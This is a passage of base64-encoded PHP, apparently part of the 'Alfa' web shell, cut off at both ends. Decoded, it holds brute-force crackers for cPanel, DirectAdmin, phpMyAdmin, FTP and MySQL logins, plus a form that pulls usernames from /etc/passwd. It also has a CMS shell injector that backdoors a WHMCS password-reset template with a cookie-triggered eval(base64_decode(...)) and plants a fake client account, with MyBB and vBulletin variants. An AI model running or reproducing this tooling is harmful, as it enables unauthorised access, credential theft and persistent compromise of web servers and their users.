ldCddLicvcGhwbXlhZG1pbic7DQokY3VybCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7DQpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMjsgV09XNjQ7IHJ2OjE3LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMTcuMCcpOw0KY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsMCk7DQpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTsNCmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0hFQURFUiwwKTsNCmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwkdXJsKTsNCmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJQV0QsICRpbmZvWyd1c2VybmFtZSddLic6Jy4kaW5mb1sncGFzc3dvcmQnXSk7DQppZigkaW5mb1snbXlzcWwnXSljdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQU5ZKTsNCiRyZXN1bHQgPSBAY3VybF9leGVjKCRjdXJsKTsNCiRjdXJsX2Vycm5vID0gY3VybF9lcnJubygkY3VybCk7DQokY3VybF9lcnJvciA9IGN1cmxfZXJyb3IoJGN1cmwpOw0KaWYgKCRjdXJsX2Vycm5vID4gMCkge2VjaG8gIjxmb250IGNvbG9yPSdyZWQnPkVycm9yOiAkY3VybF9lcnJvcjwvZm9udD48YnI+Ijt9DQplbHNlaWYocHJlZ19tYXRjaCgnL0NNRF9GSUxFX01BTkFHRVJ8ZnJhbWVzZXQvaScsJHJlc3VsdCkpew0KZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7DQokaW5mb1sndGFyZ2V0J10gPSAkdXJsOw0KQ3JhY2tlclJlc3VhbHQoJGluZm8pOw0KfQ0KY3VybF9jbG9zZSgkY3VybCk7DQp9DQpmdW5jdGlvbiBBbGZhX0NQX0NyYWNrZXIoJGluZm8pew0KJHVybCA9ICRpbmZvWydwcm90b2NvbCddLiRpbmZvWyd0YXJnZXQnXS4nOicuJGluZm9bJ3BvcnQnXTsNCiRjdXJsID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTsNCmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4yOyBXT1c2NDsgcnY6MTcuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xNy4wJyk7DQpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwwKTsNCmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULDApOw0KY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSEVBREVSLDApOw0KY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IVFRQSEVBREVSLCBhcnJheSgiQXV0aG9yaXphdGlvbjogQmFzaWMgIiAuIF9fWlc1amIyUmxjZygkaW5mb1sndXNlcm5hbWUnXS4iOiIuJGluZm9bJ3Bhc3N3b3JkJ10pIC4gIlxuXHIiKSk7DQpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VUkwsICR1cmwpOw0KJHJlc3VsdCA9IEBjdXJsX2V4ZWMoJGN1cmwpOw0KJGN1cmxfZXJybm8gPSBjdXJsX2Vycm5vKCRjdXJsKTsNCiRjdXJsX2Vycm9yID0gY3VybF9lcnJvcigkY3VybCk7DQppZiAoJGN1cmxfZXJybm8gPiAwKSB7ZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+RXJyb3I6ICRjdXJsX2Vycm9yPC9mb250Pjxicj4iO30NCmVsc2VpZihwcmVnX21hdGNoKCcvZmlsZW1hbmFnZXIvaScsJHJlc3VsdCkpew0KZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7DQokaW5mb1sndGFyZ2V0J10gPSAkdXJsOw0KQ3JhY2tlclJlc3VhbHQoJGluZm8pOw0KfQ0KY3VybF9jbG9zZSgkY3VybCk7DQp9DQpmdW5jdGlvbiBBbGZhX0ZUUF9DcmFja2VyKCRpbmZvKXsNCiR1cmwgPSAkaW5mb1sncHJvdG9jb2wnXS4kaW5mb1sndGFyZ2V0J107DQokY3VybCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCAkdXJsKTsNCmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4yOyBXT1c2NDsgcnY6MTcuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xNy4wJyk7DQpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSUFdELCAiIi4kaW5mb1sndXNlcm5hbWUnXS4iOiIuJGluZm9bJ3Bhc3N3b3JkJ10uIiIpOw0KJHJlc3VsdCA9IEBjdXJsX2V4ZWMoJGN1cmwpOw0KJGN1cmxfZXJybm8gPSBjdXJsX2Vycm5vKCRjdXJsKTsNCiRjdXJsX2Vycm9yID0gY3VybF9lcnJvcigkY3VybCk7DQppZiAoJGN1cmxfZXJybm8gPiAwKSB7ZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+RXJyb3I6ICRjdXJsX2Vycm9yPC9mb250Pjxicj4iO30NCmVsc2VpZihwcmVnX21hdGNoKCcvKFxkKyk6KFxkKykvaScsJHJlc3VsdCkpew0KZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7DQokaW5mb1sndGFyZ2V0J10gPSAkdXJsOw0KQ3JhY2tlclJlc3VhbHQoJGluZm8pOw0KfQ0KY3VybF9jbG9zZSgkY3VybCk7DQp9DQpmdW5jdGlvbiBBbGZhX015c3FsX0NyYWNrZXIoJGluZm8pew0KaWYoQG15c3FsaV9jb25uZWN0KCRpbmZvWyd0YXJnZXQnXS4nOicuJGluZm9bJ3BvcnQnXSwkaW5mb1sndXNlcm5hbWUnXSwkaW5mb1sncGFzc3dvcmQnXSkpew0KQ3JhY2tlclJlc3VhbHQoJGluZm8pOw0KZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7DQp9DQp9DQpmdW5jdGlvbiBBbGZhX0ZUUEMoJGluZm8pew0KaWYoJGNvbj1AZnRwX2Nvbm5lY3QoJGluZm9bJ3RhcmdldCddLCRpbmZvWydwb3J0J10pKXsNCmlmKCRjb24pew0KJGxvZ2luPUBmdHBfbG9naW4oJGNvbiwkaW5mb1sndXNlcm5hbWUnXSwkaW5mb1sncGFzc3dvcmQnXSk7DQppZigkbG9naW4pe0NyYWNrZXJSZXN1YWx0KCRpbmZvKTt9fX0NCkBmdHBfY2xvc2UoJGNvbik7DQp9DQpmdW5jdGlvbiBDcmFja2VyUmVzdWFsdCgkaW5mbyl7DQokcmVzID0gJGluZm9bJ3RhcmdldCddLicgPT4gJy4kaW5mb1sndXNlcm5hbWUnXS4iOiIuJGluZm9bJ3Bhc3N3b3JkJ10uIlxuIiA7DQokYyA9IEBmb3BlbigkaW5mb1snZmNyYWNrJ10sJ2ErJyk7DQpAZndyaXRlKCRjLCAkcmVzKTsNCkBmY2xvc2UoJGMpOw0KfQ0KZnVuY3Rpb24gQWxmYV9DYWxsX0Z1bmN0aW9uX0NyYWNrZXIoJG1ldGhvZCwkaW5mbyl7DQpzd2l0Y2goJG1ldGhvZCl7Y2FzZSAnY3AnOnJldHVybiBBbGZhX0NQX0NyYWNrZXIoJGluZm8pO2JyZWFrO2Nhc2UgJ2RpcmVjdCc6IGNhc2UgJ3BocG15YWRtaW4nOnJldHVybiBBbGZhX0RpcmVjdEFkbWluX0NyYWNrZXIoJGluZm8pO2JyZWFrO2Nhc2UgJ2Z0cCc6cmV0dXJuIEFsZmFfRlRQX0NyYWNrZXIoJGluZm8pO2JyZWFrO2Nhc2UgJ215c3FsJzpyZXR1cm4gQWxmYV9NeXNxbF9DcmFja2VyKCRpbmZvKTticmVhaztjYXNlICdteXNxbCc6cmV0dXJuIEFsZmFfRlRQQygkaW5mbyk7YnJlYWs7fQ0KfQ0KZnVuY3Rpb24gYWxmYUNyYWNrZXJzKCl7DQphbGZhaGVhZCgpOw0KQWxmYU51bSg5LDEwKTsNCmVjaG8gJzxkaXYgY2xhc3M9ImhlYWRlciI+PGNlbnRlcj48YnI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQnJ1dGUgRm9yY2VyIHw8L2Rpdj48YnI+PGJyPjxmb3JtIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImcoXCdDcmFja2Vyc1wnLG51bGwsdGhpcy50YXJnZXQudmFsdWUsdGhpcy5wb3J0LnZhbHVlLHRoaXMudXNlcm5hbWVzLnZhbHVlLHRoaXMucGFzc3dvcmRzLnZhbHVlLHRoaXMuZmNyYWNrLnZhbHVlLFwnc3RhcnRcJyx0aGlzLnByb3RvY29sLnZhbHVlLHRoaXMubG9naW5wYW5lbC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGRpdiBjbGFzcz0idHh0Zm9udCI+TG9naW4gUGFnZTogPHNlbGVjdCBvbmNsaWNrPSJkaXNfaW5wdXQodGhpcy52YWx1ZSk7IiBuYW1lPSJsb2dpbnBhbmVsIj4nOw0KZm9yZWFjaChhcnJheSgnY3AnPT4nQ3BhbmVsJywnZGlyZWN0Jz0+J0RpcmVjdEFkbWluJywnZnRwJz0+J0ZUUCcsJ3BocG15YWRtaW4nPT4nUGhwTXlBZG1pbltEaXJlY3RBZG1pbl0nLCdteXNxbCc9PidteXNxbF9jb25uZWN0KCknLCdmdHBjJz0+J2Z0cF9jb25uZWN0KCknKSBhcyAka2V5PT4kdmFsKWVjaG8oJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIj4nLiR2YWwuJzwvb3B0aW9uPicpOw0KZWNobyAnPC9zZWxlY3Q+IFByb3RvY29sOiA8c2VsZWN0IGlkPSJwcm90b2NvbCIgbmFtZT0icHJvdG9jb2wiPic7DQpmb3JlYWNoKGFycmF5KCdodHRwczovLycsJ2h0dHA6Ly8nLCdmdHA6Ly8nKSBhcyAkdmFsKWVjaG8oJzxvcHRpb24gdmFsdWU9IicuJHZhbC4nIj4nLiR2YWwuJzwvb3B0aW9uPicpOw0KZWNobyAnPC9zZWxlY3Q+IFdlYnNpdGUvaXAgQWRkcmVzczogPGlucHV0IGlkPSJ0YXJnZXQiIHR5cGU9InRleHQiIG5hbWU9InRhcmdldCIgdmFsdWU9ImxvY2FsaG9zdCI+DQpQb3J0OiA8aW5wdXQgaWQ9InBvcnQiIHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHZhbHVlPSIyMDgzIj4NCjx0YWJsZSB3aWR0aD0iMzAlIj48dGQgYWxpZ249ImNlbnRlciI+VXNlcnMgTGlzdDwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPlBhc3N3b3JkczwvdGQ+PC90YWJsZT4NCjx0ZXh0YXJlYSBwbGFjZWhvbGRlcj0iVXNlcnMiIHJvd3M9IjIwIiBjb2xzPSIyNSIgbmFtZT0idXNlcm5hbWVzIj4nLigkR0xPQkFMU1snc3lzJ109PSd1bml4Jz9hbGZhRXgoImN1dCAtZDogLWYxIC9ldGMvcGFzc3dkIik6IiIpLic8L3RleHRhcmVhPg0KJm5ic3AgPHRleHRhcmVhIHBsYWNlaG9sZGVyPSJQYXNzd29yZHMiIHJvd3M9IjIwIiBjb2xzPSIyNSIgbmFtZT0icGFzc3dvcmRzIj48L3RleHRhcmVhPjxicj48YnI+DQpTYXZlIFJlc3VsdCBJbnRvIEZpbGUgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZjcmFjayIgdmFsdWU9ImNyYWNrZWQudHh0Ij4NCjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNyYWNraW5nIiB2YWx1ZT0iICIgLz48L2Rpdj48L2Zvcm0+PC9wPjxjZW50ZXI+JzsNCiR0YXJnZXQgPSBzdHJfcmVwbGFjZShhcnJheSgnaHR0cHM6Ly8nLCdodHRwOi8vJywnZnRwOi8vJyksJycsJF9QT1NUWydhbGZhMSddKTsNCiRwb3J0ID0gJF9QT1NUWydhbGZhMiddOw0KJHVzZXJuYW1lcz0gJF9QT1NUWydhbGZhMyddOw0KJHBhc3N3b3JkcyA9ICRfUE9TVFsnYWxmYTQnXTsNCiRmY3JhY2sgPSAkX1BPU1RbJ2FsZmE1J107DQokY3JhY2tpbmcgPSAkX1BPU1RbJ2FsZmE2J107DQokcHJvdG9jb2wgPSAkX1BPU1RbJ2FsZmE3J107DQokbG9naW5wYW5lbCA9ICRfUE9TVFsnYWxmYTgnXTsNCiRwID0gJGxvZ2lucGFuZWwgPT0gJ3BocG15YWRtaW4nID8gJHAgPSB0cnVlIDogZmFsc2U7DQppZigkY3JhY2tpbmc9PSdzdGFydCcpew0KZWNobyBfX3ByZSgpOw0KJGV4dXNlciA9IGV4cGxvZGUoIlxuIiwkdXNlcm5hbWVzKTsNCiRleHB3ID0gZXhwbG9kZSgiXG4iLCRwYXNzd29yZHMpOw0KZm9yZWFjaCgkZXh1c2VyIGFzICR1c2VyKXsNCmZvcmVhY2goJGV4cHcgYXMgJHB3KXsNCiRhcnJheSA9IGFycmF5KCd1c2VybmFtZScgPT4gdHJpbSgkdXNlciksJ3Bhc3N3b3JkJyA9PiB0cmltKCRwdyksJ3BvcnQnID0+IHRyaW0oJHBvcnQpLCd0YXJnZXQnID0+IHRyaW0oJHRhcmdldCksJ3Byb3RvY29sJyA9PiB0cmltKCRwcm90b2NvbCksJ2ZjcmFjaycgPT4gdHJpbSgkZmNyYWNrKSwnbXlzcWwnID0+ICRwKTsNCkFsZmFfQ2FsbF9GdW5jdGlvbl9DcmFja2VyKCRsb2dpbnBhbmVsLCRhcnJheSk7DQp9DQp9DQplY2hvICc8YnI+PGZvbnQgY29sb3I9InJlZCI+QXR0YWNrIEZpbmlzaGVkLi4uPC9mb250Pic7DQp9DQplY2hvICc8L2Rpdj4nOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gb3V0cHV0KCRzdHJpbmcpeyBlY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxmb250IGNvbG9yPXJlZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nIi4kc3RyaW5nLiInPkNsaWNrIEhlcmUgITwvYT48L2ZvbnQ+PC9iPjwvY2VudGVyPjxicj48YnI+Ijt9DQpmdW5jdGlvbiBhbGZhU2hlbGxJbmplY3RvcnMoKXsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOw0KQWxmYU51bSgxMSk7DQplY2hvICc8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENtcyBTaGVsbCBJbmplY3RvciB8PC9kaXY+PC9wPjxjZW50ZXI+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdTaGVsbEluamVjdG9yc1wnLG51bGwsXCd3aG1jc1wnLG51bGwpIj58IFdITUNTIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdTaGVsbEluamVjdG9yc1wnLG51bGwsbnVsbCxcJ215YmJcJykiPnwgTXlCQiB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnU2hlbGxJbmplY3RvcnNcJyxudWxsLG51bGwsbnVsbCxcJ3ZiXCcpIj58IHZCdWxsZXRpbiB8PC9hPjwvaDM+PC9jZW50ZXI+JzsNCiRzZWxlY3RvciA9ICc8cD48ZGl2IGNsYXNzPSJ0eHRmb250Ij5TaGVsbCBJbmplY3QgTWV0aG9kIDogPC9kaXY+IDxzZWxlY3QgbmFtZT0ibWV0aG9kIiBzdHlsZT0id2lkdGg6MTAwcHg7Ij48b3B0aW9uIHZhbHVlPSJhdXRvIj5BdXRvTWF0aWM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtYW4iPk1hbnVlbDwvb3B0aW9uPjwvc2VsZWN0PjwvcD4nOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSAmJiAkX1BPU1RbJ2FsZmExJ109PSAnd2htY3MnKXsNCkFsZmFOdW0oKTsNCmVjaG8gX19wcmUoKS4iPHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgV0hNQ1MgfDwvZGl2PjwvcD48Y2VudGVyPjxjZW50ZXI+PHA+Ii5nZXRDb25maWdIdG1sKCd3aG1jcycpLiI8L3A+PGZvcm0gb25TdWJtaXQ9XCJnKCdTaGVsbEluamVjdG9ycycsbnVsbCwnd2htY3MnLG51bGwsbnVsbCx0aGlzLm1ldGhvZC52YWx1ZSxudWxsLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMucGF0aC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPiI7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdQYXRoIFdITUNTIFVybCA6ICcsICdpbnB1dE5hbWUnID0+ICdwYXRoJywgJ2lucHV0VmFsdWUnID0+ICdodHRwOi8vc2l0ZS5jb20vd2htY3MnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQyJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2RiaCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDMnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJuJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNCcgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlciA6ICcsICdpbnB1dE5hbWUnID0+ICdkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ1JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzIDogJywgJ2lucHV0TmFtZScgPT4gJ2RicCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQ0KKTsNCmNyZWF0ZV90YWJsZSgkdGFibGUpOw0KZWNobyAkc2VsZWN0b3I7DQplY2hvICI8cD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9wPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSkgew0KJGRidSA9ICRfUE9TVFsnYWxmYTYnXTsNCiRkYm4gPSAkX1BPU1RbJ2FsZmE3J107DQokZGJwID0gJF9QT1NUWydhbGZhOCddOw0KJGRiaCA9ICRfUE9TVFsnYWxmYTknXTsNCiRwYXRoID0gJF9QT1NUWydhbGZhMTAnXTsNCiRtZXRob2QgPSAkX1BPU1RbJ2FsZmE0J107DQokaW5kZXggPSAie3BocH0iLkFMRkFfVVBMT0FERVIuIjt7L3BocH0iOw0KJG5ld2luID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJGluZGV4KTsNCiRuZXdpbmRleCA9ICI8cD5EZWFyICRuZXdpbiw8L3A+PHA+UmVjZW50bHkgYSByZXF1ZXN0IHdhcyBzdWJtaXR0ZWQgdG8gcmVzZXQgeW91ciBwYXNzd29yZCBmb3Igb3VyIGNsaWVudCBhcmVhLiBJZiB5b3UgZGlkIG5vdCByZXF1ZXN0IHRoaXMsIHBsZWFzZSBpZ25vcmUgdGhpcyBlbWFpbC4gSXQgd2lsbCBleHBpcmUgYW5kIGJlY29tZSB1c2VsZXNzIGluIDIgaG91cnMgdGltZS48L3A+PHA+VG8gcmVzZXQgeW91ciBwYXNzd29yZCwgcGxlYXNlIHZpc2l0IHRoZSB1cmwgYmVsb3c6PGJyIC8+PGEgaHJlZj1cIntcJHB3X3Jlc2V0X3VybH1cIj57XCRwd19yZXNldF91cmx9PC9hPjwvcD48cD5XaGVuIHlvdSB2aXNpdCB0aGUgbGluayBhYm92ZSwgeW91ciBwYXNzd29yZCB3aWxsIGJlIHJlc2V0LCBhbmQgdGhlIG5ldyBwYXNzd29yZCB3aWxsIGJlIGVtYWlsZWQgdG8geW91LjwvcD48cD57XCRzaWduYXR1cmV9PC9wPntwaHB9aWYoXCRfQ09PS0lFW1wic2VjXCJdID09IFwiMTIzXCIpe2V2YWwoYmFzZTY0X2RlY29kZShcJF9DT09LSUVbXCJzZWMyXCJdKSk7IGRpZShcIiFcIik7fXtcL3BocH0iOw0KaWYoIWVtcHR5KCRkYmgpICYmICFlbXB0eSgkZGJ1KSAmJiAhZW1wdHkoJGRibikgJiYgIWVtcHR5KCRpbmRleCkpew0KaWYoZmlsdGVyX3ZhcigkcGF0aCxGSUxURVJfVkFMSURBVEVfVVJMKSl7DQokY29ubiA9IG15c3FsaV9jb25uZWN0KCRkYmgsJGRidSwkZGJwLCRkYm4pIG9yIGRpZShteXNxbGlfY29ubmVjdF9lcnJvcigpKTsNCiRzb2xlU2F2ZT0gbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgbWVzc2FnZSBmcm9tIHRibGVtYWlsdGVtcGxhdGVzIHdoZXJlIG5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIik7DQokc29sZUdldCA9IG15c3FsaV9mZXRjaF9hc3NvYygkc29sZVNhdmUpOw0KJHRlbXBTYXZlMSA9ICRzb2xlR2V0WydtZXNzYWdlJ107DQokdGVtcFNhdmUgPSBzdHJfcmVwbGFjZSgiJyIsIlwnIiwkdGVtcFNhdmUxKTsNCm15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFIHRibGNvbmZpZ3VyYXRpb24gU0VUIHZhbHVlID0gJzEnIFdIRVJFIHNldHRpbmcgPSAnQWxsb3dTbWFydHlQaHBUYWdzJyIpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokaW5qZWN0ID0gIlVQREFURSB0YmxlbWFpbHRlbXBsYXRlcyBTRVQgbWVzc2FnZT0nJG5ld2luZGV4JyBXSEVSRSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyI7DQokcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRpbmplY3QpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokY3JlYXRlID0gImluc2VydCBpbnRvIHRibGNsaWVudHMgKGVtYWlsKSB2YWx1ZXMoJ3NvbGV2aXNpYmxlQGZiaS5nb3YnKSI7DQokcmVzdWx0MiA9IG15c3FsaV9xdWVyeSgkY29ubiwkY3JlYXRlKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7DQokQWxmYVNvbGUgPSBuZXcgQWxmYUNVUkwodHJ1ZSk7DQokc2F2ZXVybCA9ICRBbGZhU29sZS0+U2VuZCgkcGF0aC4iL3B3cmVzZXQucGhwIik7DQokZ2V0VG9rZW4gPSBwcmVnX21hdGNoKCIvbmFtZT1cInRva2VuXCIgdmFsdWU9XCIoLio/KVwiL2kiLCRzYXZldXJsLCR0b2tlbik7DQokQWxmYVNvbGUtPlNlbmQoJHBhdGguIi9wd3Jlc2V0LnBocCIsInBvc3QiLCJ0b2tlbj17JHRva2VuWzFdfSZhY3Rpb249cmVzZXQmZW1haWw9c29sZXZpc2libGVAZmJpLmdvdiIpOw0KJGJhY2tkYXRhID0gIlVQREFURSB0YmxlbWFpbHRlbXBsYXRlcyBTRVQgbWVzc2FnZT0neyR0ZW1wU2F2ZX0nIFdIRVJFIG5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIjsNCiRTb2xldmlzaWJsZSA9IG15c3FsaV9xdWVyeSgkY29ubiwkYmFja2RhdGEpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7DQpfX2FsZXJ0KCJzaGVsbCBpbmplY3RldC4uLiIpOw0KJGZmPSAnaHR0cDovLycuJHBhdGguIi9zb2xldmlzaWJsZS5waHAiOw0Kb3V0cHV0KCRmZik7fWVsc2V7DQplY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlBsZWFzZSBnbyB0byBUYXJnZXQgPT4gPC9mb250PjxhIGhyZWY9JyIuJHBhdGguIi9wd3Jlc2V0LnBocCcgdGFyZ2V0PSdfYmxhbmsnPiIuJHBhdGguIi9wd3Jlc2V0LnBocDwvYT48YnIvPjxmb250IGNvbG9yPScjRkZGRkZGJz4gQW5kIFJlc2V0IFBhc3N3b3JkIFdpdGggRW1haWw8L2ZvbnQ+ID0+IDxmb250IGNvbG9yPXJlZD5zb2xldmlzaWJsZUBmYmkuZ292PC9mb250Pjxici8+PGZvbnQgY29sb3I9JyNGRkZGRkYnPkFuZCBHbyBUbyA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kcGF0aC4iL3NvbGV2aXNpYmxlLnBocCcgdGFyZ2V0PSdfYmxhbmsnPiIuJHBhdGguIi9zb2xldmlzaWJsZS5waHA8L2E+PC9iPjwvY2VudGVyPjxicj48YnI+Ijt9fWVsc2V7X19hbGVydCgnUGF0aCBpcyBub3QgVmFsaWQuLi4nKTt9fX0NCn1pZihpc3NldCgkX1BPU1RbJ2FsZmEyJ10pICYmICRfUE9TVFsnYWxmYTInXT09ICdteWJiJyl7DQpBbGZhTnVtKDEsMiwzLDUpOw0KZWNobyBfX3ByZSgpLiI8cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBNeUJCIHw8L2Rpdj48L3A+PGNlbnRlcj48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgibXliYiIpLiI8Zm9ybSBpZD0nc2VuZGFqYXgnIG9uU3VibWl0PVwiZygnU2hlbGxJbmplY3RvcnMnLG51bGwsbnVsbCwnbXliYicsbnVsbCx0aGlzLm1ldG